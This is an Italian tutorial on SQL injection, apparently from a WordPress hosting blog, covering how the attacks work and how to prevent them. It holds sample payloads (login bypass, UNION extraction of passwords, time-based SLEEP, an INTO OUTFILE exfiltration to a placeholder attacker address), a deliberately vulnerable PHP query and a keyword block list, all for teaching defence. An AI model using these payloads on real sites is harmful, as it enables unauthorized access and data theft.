Una SQL injection è una tecnica di iniezione di codice che gli aggressori utilizzano per sfruttare le vulnerabilità nel livello di database di un sito web o di un’applicazione. Se gli aggressori riescono a mettere a segno una SQL injection, possono ottenere l’accesso al database.

Capire come funzionano questi attacchi vi aiuterà ad attrezzarvi meglio per prevenirli. In questo modo potrete tenere al sicuro sia il vostro sito web che i vostri clienti.

In questo post esploreremo i diversi tipi di iniezioni SQL. Vi mostreremo anche come proteggere il sito da questi attacchi. Tuffiamoci in questo articolo!

Cos’è una SQL injection?

L’SQL (Structured Query Language) è un linguaggio che ci permette di interagire con i database. Le moderne applicazioni web utilizzano i database per gestire i dati e mostrare contenuti dinamici ai lettori.

Una SQL injection (o SQLi) si verifica quando un utente cerca di inserire istruzioni SQL dannose in un’applicazione web. Se ci riesce, sarà in grado di accedere ai dati sensibili del database.

Nel 2023, le SQL injection rimangono tra gli attacchi più comuni sul web. Solo nel 2022 sono state aggiunte 1162 vulnerabilità di SQL injection al database di sicurezza CVE.

La buona notizia è che le SQL injection non sono più così diffuse come un tempo. La maggior parte delle applicazioni si è evoluta per proteggersi dagli attacchi SQL.

Nel 2012, il 97% di tutte le violazioni di dati era dovuto a iniezioni SQL. Oggi questo numero è ancora alto, ma molto più gestibile.

Come funziona la vulnerabilità SQL injection?

Una vulnerabilità SQL injection consente a un aggressore di accedere completamente al database dell’applicazione attraverso l’uso di istruzioni SQL dannose.

Vediamo un esempio di applicazione vulnerabile.

Immaginate il flusso di lavoro di una tipica applicazione web che prevede la richiesta di database attraverso gli input dell’utente. Si prende l’input dell’utente attraverso un modulo, ad esempio un modulo di login. Quindi si interroga il database con i campi inviati dall’utente per autenticarlo. La struttura della query al database è simile a questa:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

Per semplicità, supponiamo che si stia memorizzando le password in chiaro. Tuttavia, è buona norma eseguire il salt delle password e poi l’hash. Se avete ricevuto il nome utente e la password dal modulo, potete definire la query in PHP come segue:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

Se qualcuno inserisce il valore “admin’;-” nel campo del nome utente, la query SQL che la variabile $db_query genera sarà la seguente:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

Cosa fa questa query?

Un commento in SQL inizia con un doppio trattino –, quindi tutto ciò che segue viene ignorato. Questo rimuove di fatto il controllo della password dalla query. Di conseguenza, se “admin” è un nome utente valido, chi attacca può accedere senza conoscere la password. Questo almeno se non ci sono misure di sicurezza contro questo tipo di attacchi.

In alternativa, in questo esempio è possibile utilizzare un attacco booleano per ottenere l’accesso. Se un utente malintenzionato inserisce “password’ o 1=1;-” nel campo della password, la query risultante sarà la seguente:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

In questo caso, anche se la password è sbagliata, verrete autenticati nell’applicazione. Se la pagina web visualizza i risultati della query del database, un utente malintenzionato può utilizzare il comando per mostrare le tabelle, il comando per visualizzare le tabelle del database e quindi eliminare selettivamente le tabelle se lo desidera.

Exploits of a Mom: una vignetta sull'iniezione SQL
Una vignetta sulla SQL injection (Fonte: XKCD)

Exploits of a Mom, una popolare striscia a fumetti di XKCD, mostra la conversazione di una madre al telefono con la scuola di suo figlio, dove le viene chiesto se ha davvero chiamato suo figlio “Robert”); DROP TABLE Students; -“.

Tipi di SQL Injection

Ora che conosciamo le basi di una vulnerabilità SQL injection, analizziamo i vari tipi di attacchi SQL injection e le ragioni di ciascuno di essi.

Iniezione SQL in-band

L’iniezione SQL in-band è la forma più semplice di SQL injection. In questo processo, chi attacca è in grado di utilizzare lo stesso canale per inserire il codice SQL dannoso nell’applicazione e raccogliere i risultati.

Vediamo due forme di attacchi di SQL injection in-band.

Attacco basato su errori

Un attacco basato su errori avviene quando qualcuno manipola intenzionalmente la query SQL per generare un errore del database. Il messaggio di errore restituito dal database spesso include informazioni sulla struttura del database, che chi attacca può utilizzare per sfruttare ulteriormente il sistema.

Ad esempio, un aggressore può inserire ‘ OR ‘1’=’1 in un campo di un modulo. Se l’applicazione è vulnerabile, potrebbe restituire un messaggio di errore che rivela informazioni sul database.

Attacco union-based

Gli attacchi SQL injection union-based utilizzano l’operatore SQL UNION per combinare i risultati della query originale con i risultati di query dannose iniettate.

Questo permette a chi attacca di recuperare informazioni da altre tabelle del database:

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

In questa query, l’operatore UNION combina i risultati della query originale con i risultati di SELECT username, password FROM user_table. Se l’applicazione è vulnerabile e non sanifica correttamente l’input dell’utente, potrebbe restituire una pagina che include nomi utente e password dalla tabella utenti.

SQL injection inferenziale (Blind SQL Injection)

Anche se un aggressore genera un errore nella query SQL, la risposta della query potrebbe non essere trasmessa direttamente alla pagina web. In questo caso, l’aggressore dovrà indagare ulteriormente.

In questa forma di SQL injection, chi attacca invia diverse query al database per valutare come l’applicazione analizza le risposte. Un’iniezione SQL inferenziale è talvolta nota anche come Blind SQL Injection.

Di seguito analizzeremo due tipi di iniezioni SQL inferenziali: SQL injection booleana e SQL injection basata sul tempo.

Attacco booleano

Se una query SQL produce un errore che non è stato gestito internamente all’applicazione, la pagina web risultante può lanciare un errore, caricare una pagina vuota o caricarla parzialmente. In un’iniezione SQL booleana, chi attacca valuta quali parti dell’input dell’utente sono vulnerabili alle iniezioni SQL provando due diverse versioni di una clausola booleana attraverso l’input:

  • “… e 1=1”
  • “… e 1=2”

Queste query sono progettate per avere una condizione che può essere vera o falsa. Se la condizione è vera, la pagina verrà caricata normalmente. Se è falsa, la pagina potrebbe caricarsi in modo diverso o mostrare un errore.

Osservando il caricamento della pagina, l’aggressore può determinare se la condizione era vera o falsa, anche se non vede l’effettiva query SQL o la risposta del database. Se mettete insieme diverse condizioni simili, potrete estrarre lentamente informazioni dal database.

Attacco basato sul tempo

Un attacco SQL injection basato sul tempo può aiutare un aggressore a determinare se una vulnerabilità è presente in un’applicazione web. Chi attacca utilizza una funzione a tempo predefinita del sistema di gestione del database utilizzato dall’applicazione. Ad esempio, in MySQL, la funzionesleep() indica al database di attendere un certo numero di secondi.

select * from comments
WHERE post_id=1-SLEEP(15);

Se una query di questo tipo produce un ritardo, chi attacca saprà che è vulnerabile. Questo approccio è simile agli attacchi booleani in quanto non si ottiene una risposta effettiva dal database. Tuttavia, è possibile ottenere informazioni se l’attacco ha successo.

Iniezione SQL fuori banda

In un attacco di tipo out-of-band SQL Injection, chi attacca manipola la query SQL per istruire il database a trasmettere i dati a un server controllato dall’aggressore. Questo avviene in genere utilizzando funzioni del database che possono richiedere risorse esterne, come ad esempio richieste HTTP o query DNS.

Un attacco di tipo out-of-band SQL injection utilizza una funzionalità di file process esterno del DBMS. In MySQL, le funzioni LOAD_FILE() e INTO OUTFILE possono essere utilizzate per richiedere a MySQL di trasmettere i dati a una fonte esterna.

Ecco come un aggressore potrebbe utilizzare OUTFILE per inviare i risultati di una query a una fonte esterna:

select * from post_table
into OUTFILE '\\MALICIOUS_IP_ADDRESSlocation'

Allo stesso modo, la funzione LOAD_FILE() può essere utilizzata per leggere un file dal server e visualizzarne il contenuto. Una combinazione di LOAD_FILE() e OUTFILE può essere utilizzata per leggere il contenuto di un file sul server e poi trasmetterlo in un’altra posizione.

Come prevenire le SQL injection

Finora abbiamo esplorato le vulnerabilità di un’applicazione web che possono portare ad attacchi di tipo SQL injection. Una vulnerabilità di tipo SQL injection può essere utilizzata da un aggressore per leggere, modificare o addirittura rimuovere il contenuto del database.

Inoltre, può anche consentire di leggere un file in qualsiasi punto del server e trasferirne il contenuto altrove. In questa sezione esploriamo varie tecniche per proteggere le applicazioni web e un sito web dagli attacchi di SQL injection.

Eseguire l’escape degli input dell’utente

In generale, è difficile stabilire se una stringa dell’utente sia dannosa o meno. Per questo motivo, un approccio comune è quello di sfuggire ai caratteri speciali nell’input dell’utente. Questo processo può aiutare a proteggersi dagli attacchi di SQL injection.

In PHP, è possibile eseguire l’escape di una stringa prima di creare la query utilizzando la funzione mysqli_real_escape_string():

$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);

Quando si visualizza l’input dell’utente come HTML, è anche importante convertire i caratteri speciali nei corrispondenti caratteri HTML per prevenire gli attacchi Cross-Site Scripting (XSS). Potete convertire i caratteri speciali in PHP utilizzando la funzione htmlspecialchars().

Usare le dichiarazioni preparate

In alternativa, si possono utilizzare le dichiarazioni preparate per evitare le iniezioni SQL. Una dichiarazione preparata è un modello di query SQL, in cui si specificano i parametri in una fase successiva per eseguirla.

Ecco un esempio di dichiarazione preparata in PHP e MySQLi:

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Altri controlli di igiene per prevenire gli attacchi SQL

Il passo successivo per mitigare questa vulnerabilità è limitare l’accesso al database solo allo stretto necessario.

Ad esempio, potete collegare l’applicazione web al DBMS utilizzando un utente specifico che abbia accesso solo al database in questione.

Inoltre, dovrete limitare l’accesso dell’utente del database a tutte le altre postazioni del server. Potreste anche voler bloccare alcune parole chiave SQL nell’URL attraverso il server web.

Se utilizzate Apache come server web, potete utilizzare le seguenti righe di codice nel file .htaccess per mostrare un errore403 Forbidden a un potenziale aggressore.

Prestate attenzione prima di utilizzare questa tecnica perché Apache mostrerà un errore al lettore se l’URL contiene queste parole chiave.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

Come ulteriore consiglio di prevenzione, dovete sempre utilizzare un software aggiornato. Quando viene rilasciata una nuova versione o una patch, i bug risolti nell’aggiornamento sono descritti nelle note di rilascio. Quando i dettagli di un bug vengono resi pubblici, l’utilizzo di una vecchia versione di un software può essere rischioso.

SQL injection in WordPress

Se utilizzate i file core di WordPress aggiornati, sarete al sicuro da qualsiasi vulnerabilità di tipo SQL injection. Tuttavia, l’utilizzo di plugin e temi di terze parti espone il sito web a un certo livello di vulnerabilità. Potete mitigare ampiamente questo rischio utilizzando plugin e temi che ricevono aggiornamenti regolari e che seguono pratiche di codifica sicure.

Il vostro sito WordPress è forte quanto il suo anello più debole. In questa sezione analizziamo le considerazioni chiave per mitigare la vulnerabilità della SQL injection in WordPress e come eseguire controlli di vulnerabilità sul vostro sito WordPress esistente.

Prevenzione della vulnerabilità SQL Injection per WordPress

Per mitigare la vulnerabilità dell’iniezione SQL nel tema WordPress o in un plugin, l’unica regola da seguire è quella di utilizzare sempre le funzioni esistenti di WordPress quando interagite con il database.

Queste funzioni vengono accuratamente testate per verificare la presenza di vulnerabilità da SQL injection durante il processo di sviluppo di WordPress. Ad esempio, se volete aggiungere un commento a un post, utilizzate la funzione wp_insert_comment() anziché inserire i dati direttamente nella tabella wp_comments.

Sebbene le funzioni siano estensibili, a volte potreste aver bisogno di eseguire una query complessa. In questo caso, assicuratevi di utilizzare il gruppo di funzioni$wp_db. Potete usare $wpdb->prepare() per evitare l’input dell’utente prima di creare la query.

Inoltre, ecco un elenco di funzioni per sanificare i dati in WordPress. Queste funzioni possono aiutare a evitare determinati tipi di input dell’utente, come e-mail e URL.

Proteggere un sito WordPress

Sebbene WordPress sia di per sé sicuro, problemi come il software di base non aggiornato e i plugin non funzionanti possono portare a vulnerabilità. Anche se non c’è alternativa a controllare accuratamente il vostro sito WordPress per verificare la presenza di vulnerabilità SQL injection, la complessità di un sito web può rendere questo compito difficile.

Potete utilizzare uno strumento di scansione online come WPScan. Vi consigliamo anche di controllare i vostri plugin per verificare se il loro sviluppo si è fermato. Se non vengono più mantenuti, potrebbe non essere una buona idea utilizzarli sul vostro sito.

Se dovete ancora utilizzarli, assicuratevi di testare accuratamente il loro codice e le loro funzionalità per individuare eventuali vulnerabilità. Oltre a questo, assicuratevi di seguire questi controlli igienici:

  • Aggiornare PHP, il core di WordPress e MySQL
  • Aggiornare i plugin e i temi di terze parti
  • Evitare di usare l’utente root per connettervi al database SQL
  • Limitare l’accesso dell’utente SQL alle directory sensibili
  • Bloccare le keyword SQL che utilizzano il server
  • Conservate i backup del sito all’esterno in caso di danni irreversibili

Qui trovate un articolo dettagliato sulla sicurezza di WordPress e un elenco esaustivo di controlli. Inoltre, potreste voler investire in questi ottimi plugin di sicurezza per WordPress. Ecco cosa fare se il sito WordPress viene violato nonostante i vostri sforzi.

L’iniezione SQL è illegale?

Decisamente sì! Anche se c’è una vera e propria vulnerabilità, un aggressore sta comunque cercando di accedere a dati che altrimenti non sarebbero disponibili.

Immaginate uno scenario in cui qualcuno lascia le chiavi in macchina. Guidarla costituisce un reato solo perché è stata lasciata aperta e incustodita?

L’atto di SQLi viene perseguito secondo leggi diverse in vari paesi. Rientra nel Computer Fraud and Abuse Act (1986) negli Stati Uniti e nel Computer Misuse Act (1990) nel Regno Unito.

Riepilogo

Le SQL injection sono da tempo uno degli attacchi più comuni a tutti i tipi di siti web. Nemmeno WordPress può proteggere dalla possibilità di attacchi SQL se non si adottano misure per mantenere il sito web sicuro.

Per prevenire questi attacchi, dovrete:

  • Capire come funziona la vulnerabilità SQL Injection
  • Esplorare i vari modi in cui gli aggressori possono utilizzare SQLi per ottenere un accesso non autorizzato alla tua applicazione web
  • Implementare metodi per proteggere il vostro sito web dagli attacchi SQLi, come l’escape degli input dell’utente e l’utilizzo di dichiarazioni preparate
  • Seguire una routine di controlli di sicurezza

Risparmiate tempo e costi e massimizzate le prestazioni del vostro sito con oltre 275 dollari di integrazioni di livello enterprise incluse in ogni piano WordPress gestito. Questo include un CDN ad alte prestazioni, protezione DDoS, mitigazione di malware e hack, Edge Caching e le CPU più veloci di Google. Iniziate subito a lavorare senza contratti a lungo termine, e con migrazioni assistite e una garanzia di rimborso di 30 giorni.

Date un’occhiata ai nostri piani o parlate con il team vendite per trovare il piano più adatto a voi.

Shaumik Daityari

Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!